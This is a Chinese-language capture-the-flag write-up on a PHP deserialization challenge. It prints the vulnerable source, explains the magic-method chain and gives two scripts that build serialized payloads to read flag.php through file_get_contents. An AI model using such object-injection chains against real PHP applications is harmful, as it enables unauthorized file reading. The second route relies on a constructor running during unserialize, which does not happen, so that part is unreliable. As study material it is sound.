源码
<?php
class C1e4r{
public $test;
public $str;
public function __construct($name){
$this->str = $name;
}
public function __destruct(){
$this->test = $this->str;
echo $this->test;
}
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo $this->source;
}
public function __toString(){
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value){
$this->$key = $value;
}
public function _show(){
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup(){
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test{
public $file;
public $params;
public function __construct(){
$this->params = array();
}
public function __get($key){
return $this->get($key);
}
public function get($key){
if(isset($this->params[$key])){
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value){
$text = base64_encode(file_get_contents($value));
return $text;
}
}
show_source(__FILE__);
$name=unserialize($_GET['strs']);
?>
分析
class C1e4r{
public $test;
public $str;
public function __construct($name){
$this->str = $name;
}
public function __destruct(){
$this->test = $this->str;
echo $this->test;
}
}
- 两个共有属性
$test 、str __construct() 在对象被实体化时触发,将传入的值赋给$str __destruct() 在对象被销毁时触发,将内部的$str 赋给$test 并以字符串的形式输出(可触发__toString() )
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo $this->source;
}
public function __toString(){
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value){
$this->$key = $value;
}
public function _show(){
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup(){
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
echo "hacker~";
$this->source = "index.php";
}
}
}
- 两个共有属性
$source 、$str __construct() 在对象被实体化时触发,将传入的值赋给$source 并以字符串的形式输出(触发__toString() )__toString() 在对象被当作字符串调用时触发,返回$str['str'] 对象的$source (这里的$str 是一个数组,他的str 键对应了一个对像)__set() 在赋值不可访问或不存在的属性时触发,将传过来的第二个值赋给第一个值_show() 过滤$source ,不能存在http 、https 、file: 、gopher 、dict 、.. 、f1ag 不区分大小写,若不存在则高亮$source __wakeup() 在反序列化时触发,过滤$source 中的http 、https 、file: 、gopher 、dict 、.. 、f1ag ,并赋值$source='index.php'
class Test{
public $file;
public $params;
public function __construct(){
$this->params = array();
}
public function __get($key){
return $this->get($key);
}
public function get($key){
if(isset($this->params[$key])){
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value){
$text = base64_encode(file_get_contents($value));
return $text;
}
}
- 两个共有属性
$file 、$params __construct() 在对象实体化时触发,将一个空数组赋给$params __get() 在读取不可访问得属性时触发,将传入的值传入get() 函数get() 如果params[$key] 存在,将它传入file_get() ,否则将"index.php" 传入file_get.php file_get() 得到传入的文件加密后返回
$name=unserialize($_GET['strs']);
- 拿flag:在
Test::file_get() 中有读取文件操作,Test::get() 可以调用他,Teat::__get() 调用get() - 触发
__get() :Show::__toString() 方法中的$str['str']->source ,如果这个键对应的是Test 对象,即可触发 - 触发
__toString() :C1e4r::__destruct() 和Show::__construct() 可以触发,若为第一种,则$str=new Show ;若为第二种,则$source=new Show
payload*2
- 使用
C1e4r::__destruct() :
<?php
class Test {
public $file;
public $params = array('source'=>'flag.php');
}
class Show {
public $source;
public $str;
}
class C1e4r {
public $test;
public $str;
}
$a = new C1e4r;
$a->str = new Show;
$a->str->str['str'] = new Test;
echo serialize($a);
- 使用
Show::__construct() : 这里要注意一点:这个方法需要使用Show::source 属性,所以需要绕过__wakeup() ,最后手动将他对应的属性值改大实现绕过
<?php
class Test {
public $file;
public $params = array('source'=>'flag.php');
}
class Show {
public $source;
public $str;
}
$a = new Show;
$a->source = new Show;
$a->source->str['str'] = new Test;
echo serialize($a);
|